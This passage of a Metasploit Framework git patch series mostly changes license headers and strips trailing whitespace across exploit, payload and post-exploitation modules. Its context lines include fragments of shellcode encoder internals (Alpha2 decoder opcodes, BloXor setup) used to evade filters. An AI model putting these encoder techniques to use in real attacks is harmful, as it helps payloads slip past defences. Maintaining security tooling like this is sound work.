Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## ## @@ -122,4 +122,4 @@ class Metasploit4 < Msf::Auxiliary return end end -end \ No newline at end of file +end diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb index 21100734ee..dca1f8c607 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb index a3223710ca..d0fddc6510 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb b/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb index 4210baed98..bc42ac7f18 100644 --- a/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb index ca6c2f5c2f..4029bc6a3d 100644 --- a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb +++ b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb @@ -1,4 +1,9 @@ -#!/usr/bin/env ruby +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## require 'msf/core' class Metasploit3 < Msf::Auxiliary diff --git a/modules/auxiliary/server/http_ntlmrelay.rb b/modules/auxiliary/server/http_ntlmrelay.rb index 080803918b..fd365467c6 100644 --- a/modules/auxiliary/server/http_ntlmrelay.rb +++ b/modules/auxiliary/server/http_ntlmrelay.rb @@ -1,12 +1,8 @@ -## -# $Id:$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/spoof/dns/bailiwicked_host.rb b/modules/auxiliary/spoof/dns/bailiwicked_host.rb index b646e33607..a973f9e6ff 100644 --- a/modules/auxiliary/spoof/dns/bailiwicked_host.rb +++ b/modules/auxiliary/spoof/dns/bailiwicked_host.rb @@ -1,3 +1,11 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + + require 'msf/core' require 'net/dns' require 'resolv' diff --git a/modules/encoders/x86/bloxor.rb b/modules/encoders/x86/bloxor.rb index a2577bc89f..2dd6508a68 100644 --- a/modules/encoders/x86/bloxor.rb +++ b/modules/encoders/x86/bloxor.rb @@ -1,12 +1,8 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## require 'msf/core' @@ -14,15 +10,15 @@ require 'rex/encoder/bloxor/bloxor' # # BloXor is a cross architecture metamorphic block based xor encoder/decoder for Metasploit. -# BloXor was inspired by the Shikata Ga Nai encoder (./msf/modules/encoders/x86/shikata_ga_nai.rb) +# BloXor was inspired by the Shikata Ga Nai encoder (./msf/modules/encoders/x86/shikata_ga_nai.rb) # by spoonm and the Rex::Poly::Block (./msf/lib/rex/poly/block.rb) code by skape. # # Please refer to ./msf/lib/rex/encoder/bloxor/bloxor.rb for BloXor's implementation and to # ./msf/lib/rex/poly/machine/machine.rb and ./msf/lib/rex/poly/machine/x86.rb for the # backend metamorphic stuff. # -# A presentation at AthCon 2012 by Dimitrios A. Glynos called 'Packing Heat!' discusses a -# metamorphic packer for PE executables and also uses METASM. I am unaware of any code having +# A presentation at AthCon 2012 by Dimitrios A. Glynos called 'Packing Heat!' discusses a +# metamorphic packer for PE executables and also uses METASM. I am unaware of any code having # been publicly released for this, so am unable to compare implementations. # http://census-labs.com/media/packing-heat.pdf # @@ -39,7 +35,6 @@ class Metasploit3 < Rex::Encoder::BloXor def initialize super( 'Name' => 'BloXor - A Metamorphic Block Based XOR Encoder', - 'Version' => '$Revision$', 'Description' => 'A Metamorphic Block Based XOR Encoder.', 'Author' => [ 'sf' ], 'Arch' => ARCH_X86, @@ -47,12 +42,12 @@ class Metasploit3 < Rex::Encoder::BloXor 'EncoderType' => Msf::Encoder::Type::Unspecified ) end - + def compute_decoder( state ) - + @machine = Rex::Poly::MachineX86.new( state.badchars ) - + super( state ) end - + end diff --git a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb index c1840dcc11..ab1b05752e 100644 --- a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb +++ b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/linux/misc/drb_remote_codeexec.rb b/modules/exploits/linux/misc/drb_remote_codeexec.rb index 2853947ced..1ce1814d7b 100644 --- a/modules/exploits/linux/misc/drb_remote_codeexec.rb +++ b/modules/exploits/linux/misc/drb_remote_codeexec.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. -# http://metasploit.com/projects/framework/ +# http://metasploit.com/projects/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index 1d2ffc92ce..ac4e65ebb7 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index bd825a7a00..11571e816a 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/misc/indesign_server_soap.rb b/modules/exploits/multi/misc/indesign_server_soap.rb index 514dfd3fb4..e1eac3bc1d 100644 --- a/modules/exploits/multi/misc/indesign_server_soap.rb +++ b/modules/exploits/multi/misc/indesign_server_soap.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb index ef6906721e..0920ef652d 100644 --- a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb +++ b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/java_ws_vmargs.rb b/modules/exploits/windows/browser/java_ws_vmargs.rb index 105bc4dca4..cc437a1280 100644 --- a/modules/exploits/windows/browser/java_ws_vmargs.rb +++ b/modules/exploits/windows/browser/java_ws_vmargs.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/djstudio_pls_bof.rb b/modules/exploits/windows/fileformat/djstudio_pls_bof.rb index a1e822774c..f413dc0312 100644 --- a/modules/exploits/windows/fileformat/djstudio_pls_bof.rb +++ b/modules/exploits/windows/fileformat/djstudio_pls_bof.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/foxit_reader_launch.rb b/modules/exploits/windows/fileformat/foxit_reader_launch.rb index 52b05457f3..66f9e24372 100644 --- a/modules/exploits/windows/fileformat/foxit_reader_launch.rb +++ b/modules/exploits/windows/fileformat/foxit_reader_launch.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb index 2f19c28d1f..66799d51fe 100644 --- a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb +++ b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb b/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb index 443b575891..4599847eae 100644 --- a/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb +++ b/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/http/sysax_create_folder.rb b/modules/exploits/windows/http/sysax_create_folder.rb index 1e678f874d..4cc05527a1 100644 --- a/modules/exploits/windows/http/sysax_create_folder.rb +++ b/modules/exploits/windows/http/sysax_create_folder.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. -# http://metasploit.com/ +# http://metasploit.com/ ## require 'msf/core' diff --git a/modules/exploits/windows/local/ask.rb b/modules/exploits/windows/local/ask.rb index 1fcbdd7574..1b231519e3 100644 --- a/modules/exploits/windows/local/ask.rb +++ b/modules/exploits/windows/local/ask.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index 62717522be..b56b032c19 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/local/current_user_psexec.rb b/modules/exploits/windows/local/current_user_psexec.rb index 8ebed8a823..a1397edd51 100644 --- a/modules/exploits/windows/local/current_user_psexec.rb +++ b/modules/exploits/windows/local/current_user_psexec.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/misc/hp_magentservice.rb b/modules/exploits/windows/misc/hp_magentservice.rb index d409f9e417..dc5c198662 100644 --- a/modules/exploits/windows/misc/hp_magentservice.rb +++ b/modules/exploits/windows/misc/hp_magentservice.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb b/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb index 0ae8257604..7e2d7ff6bb 100644 --- a/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb +++ b/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/reverse_python.rb b/modules/payloads/singles/cmd/unix/reverse_python.rb index ed59723041..55a7223440 100644 --- a/modules/payloads/singles/cmd/unix/reverse_python.rb +++ b/modules/payloads/singles/cmd/unix/reverse_python.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/payloads/singles/linux/armle/shell_bind_tcp.rb b/modules/payloads/singles/linux/armle/shell_bind_tcp.rb index 39aecc0b09..324d36b949 100644 --- a/modules/payloads/singles/linux/armle/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/armle/shell_bind_tcp.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' diff --git a/modules/post/windows/gather/credentials/tortoisesvn.rb b/modules/post/windows/gather/credentials/tortoisesvn.rb index 05f23f3ae8..1f20d431be 100644 --- a/modules/post/windows/gather/credentials/tortoisesvn.rb +++ b/modules/post/windows/gather/credentials/tortoisesvn.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' require 'rex' require 'msf/core/post/windows/priv' diff --git a/modules/post/windows/gather/forensics/enum_drives.rb b/modules/post/windows/gather/forensics/enum_drives.rb index fb7e1d8f5d..1e461f4742 100644 --- a/modules/post/windows/gather/forensics/enum_drives.rb +++ b/modules/post/windows/gather/forensics/enum_drives.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + # # List physical drives and logical volumes on the remote system # diff --git a/modules/post/windows/gather/forensics/imager.rb b/modules/post/windows/gather/forensics/imager.rb index df2c8f769a..827d0c3a09 100644 --- a/modules/post/windows/gather/forensics/imager.rb +++ b/modules/post/windows/gather/forensics/imager.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + # # Forensic byte-for-byte imaging of remote disks and volumes # diff --git a/modules/post/windows/gather/forensics/nbd_server.rb b/modules/post/windows/gather/forensics/nbd_server.rb index 4e85c89abe..605ae4814b 100644 --- a/modules/post/windows/gather/forensics/nbd_server.rb +++ b/modules/post/windows/gather/forensics/nbd_server.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + # nbd_server.rb # # Maps remote disks and logical volumes to a local Network Block Device diff --git a/modules/post/windows/manage/mssql_local_auth_bypass.rb b/modules/post/windows/manage/mssql_local_auth_bypass.rb index 3c31c1d15d..f53d77482c 100644 --- a/modules/post/windows/manage/mssql_local_auth_bypass.rb +++ b/modules/post/windows/manage/mssql_local_auth_bypass.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' require 'rex' require 'msf/core/post/common' diff --git a/modules/post/windows/manage/nbd_server.rb b/modules/post/windows/manage/nbd_server.rb index a41765f305..a32633e5e4 100644 --- a/modules/post/windows/manage/nbd_server.rb +++ b/modules/post/windows/manage/nbd_server.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + # # Maps remote disks and logical volumes to a local Network Block Device # server. Allows for forensic tools to be executed on the remote disk diff --git a/modules/post/windows/manage/powershell/exec_powershell.rb b/modules/post/windows/manage/powershell/exec_powershell.rb index 59bc7cccff..c3e08ceb23 100644 --- a/modules/post/windows/manage/powershell/exec_powershell.rb +++ b/modules/post/windows/manage/powershell/exec_powershell.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## ## diff --git a/modules/post/windows/manage/rpcapd_start.rb b/modules/post/windows/manage/rpcapd_start.rb index 1ca074b90c..a29279ad31 100644 --- a/modules/post/windows/manage/rpcapd_start.rb +++ b/modules/post/windows/manage/rpcapd_start.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/post/windows/manage/sdel.rb b/modules/post/windows/manage/sdel.rb index 50e737e76b..a090d9bf50 100644 --- a/modules/post/windows/manage/sdel.rb +++ b/modules/post/windows/manage/sdel.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# http://metasploit.com/framework/ ## require 'msf/core' From c3fa62cd59ad16bb902e5c61e36dc1f49812cd8d Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 7 Mar 2013 18:16:57 -0600 Subject: [PATCH 339/341] Whitespace at EOL --- lib/rex/arch/x86.rb | 10 +- lib/rex/assembly/nasm.rb | 4 +- lib/rex/encoder/alpha2.rb | 2 +- lib/rex/encoder/alpha2/generic.rb | 20 +- lib/rex/encoder/alpha2/unicode_mixed.rb | 12 +- lib/rex/encoder/alpha2/unicode_upper.rb | 4 +- lib/rex/encoder/bloxor/bloxor.rb | 126 ++++++------- lib/rex/encoder/nonalpha.rb | 2 +- lib/rex/encoder/nonupper.rb | 8 +- lib/rex/encoding/xor/generic.rb | 4 +- lib/rex/image_source/disk.rb | 2 +- lib/rex/image_source/image_source.rb | 2 +- lib/rex/io/datagram_abstraction.rb | 2 +- lib/rex/io/stream.rb | 8 +- lib/rex/io/stream_abstraction.rb | 6 +- lib/rex/io/stream_server.rb | 4 +- lib/rex/job_container.rb | 2 +- lib/rex/logging/sinks/stderr.rb | 2 +- lib/rex/mac_oui.rb | 4 +- lib/rex/mime/part.rb | 2 +- lib/rex/nop/opty2.rb | 2 +- lib/rex/nop/opty2_tables.rb | 2 +- lib/rex/ole/directory.rb | 2 +- lib/rex/parser/fusionvm_nokogiri.rb | 14 +- lib/rex/parser/ini.rb | 8 +- lib/rex/parser/ip360_aspl_xml.rb | 4 +- lib/rex/parser/nexpose_raw_nokogiri.rb | 36 ++-- lib/rex/parser/nokogiri_doc_mixin.rb | 2 +- lib/rex/parser/retina_xml.rb | 4 +- lib/rex/parser/wapiti_nokogiri.rb | 4 +- lib/rex/payloads/win32/kernel/recovery.rb | 2 +- lib/rex/peparsey/pe_memdump.rb | 6 +- lib/rex/peparsey/section.rb | 6 +- lib/rex/pescan/scanner.rb | 2 +- lib/rex/pescan/search.rb | 24 +-- lib/rex/platforms/windows.rb | 2 +- lib/rex/poly/machine.rb | 4 +- lib/rex/poly/machine/machine.rb | 176 +++++++++--------- lib/rex/poly/machine/x86.rb | 84 ++++----- lib/rex/post/dir.rb | 14 +- lib/rex/post/file_stat.rb | 4 +- lib/rex/post/io.rb | 8 +- .../meterpreter/extensions/networkpug/tlv.rb | 2 +- .../meterpreter/extensions/stdapi/net/arp.rb | 4 +- .../extensions/stdapi/net/config.rb | 2 +- .../extensions/stdapi/net/netstat.rb | 4 +- .../stdapi/railgun/win_const_manager.rb | 4 +- .../ui/console/command_dispatcher/espia.rb | 10 +- .../console/command_dispatcher/incognito.rb | 8 +- .../console/command_dispatcher/networkpug.rb | 14 +- .../console/command_dispatcher/priv/passwd.rb | 2 +- .../console/command_dispatcher/stdapi/net.rb | 6 +- lib/rex/proto/addp.rb | 26 +-- lib/rex/proto/dcerpc/exceptions.rb | 6 +- lib/rex/proto/dcerpc/ndr.rb | 6 +- lib/rex/proto/http/client.rb | 6 +- lib/rex/proto/http/handler/proc.rb | 2 +- lib/rex/proto/http/server.rb | 2 +- lib/rex/proto/iax2/codecs/alaw.rb | 2 +- lib/rex/proto/iax2/codecs/mulaw.rb | 2 +- lib/rex/proto/ntlm/constants.rb | 4 +- lib/rex/proto/rfb/cipher.rb | 2 +- lib/rex/proto/smb/constants.rb | 2 +- lib/rex/proto/smb/utils.rb | 10 +- lib/rex/proto/tftp/client.rb | 6 +- lib/rex/proto/tftp/server.rb | 6 +- lib/rex/registry/lfkey.rb | 4 +- lib/rex/ropbuilder/rop.rb | 2 +- lib/rex/socket.rb | 4 +- lib/rex/socket/comm.rb | 2 +- lib/rex/socket/subnet_walker.rb | 2 +- lib/rex/struct2/c_struct.rb | 4 +- lib/rex/struct2/constant.rb | 2 +- lib/rex/struct2/generic.rb | 4 +- lib/rex/struct2/s_string.rb | 2 +- lib/rex/struct2/s_struct.rb | 2 +- lib/rex/sync/thread_safe.rb | 2 +- lib/rex/ui/text/color.rb | 4 +- lib/rex/ui/text/input/socket.rb | 16 +- lib/rex/zip/entry.rb | 2 +- 80 files changed, 413 insertions(+), 413 deletions(-) diff --git a/lib/rex/arch/x86.rb b/lib/rex/arch/x86.rb index 64b7d52302..0e3d2fc223 100644 --- a/lib/rex/arch/x86.rb +++ b/lib/rex/arch/x86.rb @@ -23,25 +23,25 @@ module X86 EDI = BH = DI = 7 REG_NAMES32 = [ 'eax', 'ecx', 'edx', 'ebx', 'esp', 'ebp', 'esi', 'edi' ] - + REG_NAMES16 = [ 'ax', 'cx', 'dx', 'bx', 'sp', 'bp', 'si', 'di' ] - + REG_NAMES8L = [ 'al', 'cl', 'dl', 'bl', nil, nil, nil, nil ] - + # Jump tp a specific register def self.jmp_reg(str) reg = reg_number(str) _check_reg(reg) "\xFF" + [224 + reg].pack('C') end - + # # Generate a LOOP instruction (Decrement ECX and jump short if ECX == 0) # def self.loop(offset) "\xE2" + pack_lsb(rel_number(offset, -2)) end - + # # This method returns the opcodes that compose a jump instruction to the # supplied relative offset. diff --git a/lib/rex/assembly/nasm.rb b/lib/rex/assembly/nasm.rb index c2c35d6859..41a8498a44 100644 --- a/lib/rex/assembly/nasm.rb +++ b/lib/rex/assembly/nasm.rb @@ -44,7 +44,7 @@ class Nasm # Open the temporary file tmp = Tempfile.new('nasmXXXX') tmp.binmode - + tpath = tmp.path opath = tmp.path + '.out' @@ -76,7 +76,7 @@ class Nasm tmp = Tempfile.new('nasmout') tmp.binmode - + tfd = File.open(tmp.path, "wb") tfd.write(raw) diff --git a/lib/rex/encoder/alpha2.rb b/lib/rex/encoder/alpha2.rb index 3a10e9abac..9d9fd51212 100644 --- a/lib/rex/encoder/alpha2.rb +++ b/lib/rex/encoder/alpha2.rb @@ -3,7 +3,7 @@ # # ________________________________________________________________________________ -# +# # ,sSSs,,s, ,sSSSs, ALPHA 2: Zero-tolerance. (build 07) # SS" Y$P" SY" ,SY # iS' dY ,sS" Unicode-proof uppercase alphanumeric shellcode encoding. diff --git a/lib/rex/encoder/alpha2/generic.rb b/lib/rex/encoder/alpha2/generic.rb index 13833d10e4..726fc6f301 100644 --- a/lib/rex/encoder/alpha2/generic.rb +++ b/lib/rex/encoder/alpha2/generic.rb @@ -31,39 +31,39 @@ class Generic def Generic.encode_byte(block, badchars) accepted_chars = default_accepted_chars.dup - + badchars.each_char {|c| accepted_chars.delete(c) } if badchars - + # No, not nipple. nibble_chars = Array.new(0x10) {[]} accepted_chars.each {|c| nibble_chars[c.unpack('C')[0] & 0x0F].push(c) } - + poss_encodings = [] - + block_low_nibble = block & 0x0F block_high_nibble = block >> 4 - + # Get list of chars suitable for expressing lower part of byte first_chars = nibble_chars[block_low_nibble] - + # Build a list of possible encodings first_chars.each do |first_char| first_high_nibble = first_char.unpack('C')[0] >> 4 - + # In the decoding process, the low nibble of the second char gets combined # (either ADDed or XORed depending on the encoder) with the high nibble of the first char, # and we want the high nibble of our input byte to result second_low_nibble = gen_second(block_high_nibble, first_high_nibble) & 0x0F - + # Find valid second chars for this first char and add each combination to our possible encodings second_chars = nibble_chars[second_low_nibble] second_chars.each {|second_char| poss_encodings.push(second_char + first_char) } end - + if poss_encodings.empty? raise RuntimeError, "No encoding of #{"0x%.2X" % block} possible with limited character set" end - + # Return a random encoding poss_encodings[rand(poss_encodings.length)] end diff --git a/lib/rex/encoder/alpha2/unicode_mixed.rb b/lib/rex/encoder/alpha2/unicode_mixed.rb index 5e3dbdd7e3..c91b2de0be 100644 --- a/lib/rex/encoder/alpha2/unicode_mixed.rb +++ b/lib/rex/encoder/alpha2/unicode_mixed.rb @@ -8,12 +8,12 @@ module Encoder module Alpha2 class UnicodeMixed < Generic - + def self.gen_second(block, base) # unicode uses additive encoding (block - base) end - + def self.gen_decoder_prefix(reg, offset) if (offset > 21) raise "Critical: Offset is greater than 21" @@ -27,7 +27,7 @@ class UnicodeMixed < Generic mod = 'AA' * (offset - 14) # inc ecx nop = 'CP' * (14 - mod.length) mod += nop - end + end regprefix = { # nops ignored below 'EAX' => 'PPYA' + mod, # push eax, pop ecx 'ECX' => mod + "4444", # dec ecx @@ -91,7 +91,7 @@ class UnicodeMixed < Generic "1A" + # add [ecx], dh NOP "IA" + # dec ecx, NOP "J" + # dec edx - "Q" + # add [ecx], dl + "Q" + # add [ecx], dl "YA" + # pop ecx, NOP "Z" + # pop edx "B" + # add [edx], al @@ -105,10 +105,10 @@ class UnicodeMixed < Generic "B" + # add [edx], al | "kM" + # imul eax, [eax], 10 * | "A" + # add [edx], al | - "G" + # inc edi | + "G" + # inc edi | "B" + # add [edx], al | "9" + # cmp [eax], eax | - "u" + # jnz ------------------ + "u" + # jnz ------------------ "4JB" return decoder diff --git a/lib/rex/encoder/alpha2/unicode_upper.rb b/lib/rex/encoder/alpha2/unicode_upper.rb index 2e062bce34..adfb7b69bc 100644 --- a/lib/rex/encoder/alpha2/unicode_upper.rb +++ b/lib/rex/encoder/alpha2/unicode_upper.rb @@ -9,7 +9,7 @@ module Alpha2 class UnicodeUpper < Generic def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end - + def self.gen_second(block, base) # unicode uses additive encoding (block - base) @@ -40,7 +40,7 @@ class UnicodeUpper < Generic 'ESI' => 'VVYA' + mod, # push esi, pop ecx 'EDI' => 'WWYA' + mod, # push edi, pop edi '[ESP]' => 'YA' + mod + '44', # - '[ESP+4]' => 'YUYA' + mod, # + '[ESP+4]' => 'YUYA' + mod, # } return regprefix[reg] diff --git a/lib/rex/encoder/bloxor/bloxor.rb b/lib/rex/encoder/bloxor/bloxor.rb index b7684a32d1..952c5f1aa4 100644 --- a/lib/rex/encoder/bloxor/bloxor.rb +++ b/lib/rex/encoder/bloxor/bloxor.rb @@ -13,12 +13,12 @@ module Encoder @blocks_out = [] @block_size = 0 end - + # # # def decoder_stub( state ) - + if( not state.decoder_stub ) @blocks_out = [] @block_size = 0 @@ -28,34 +28,34 @@ module Encoder # anything too big (if we knew the max size we could try 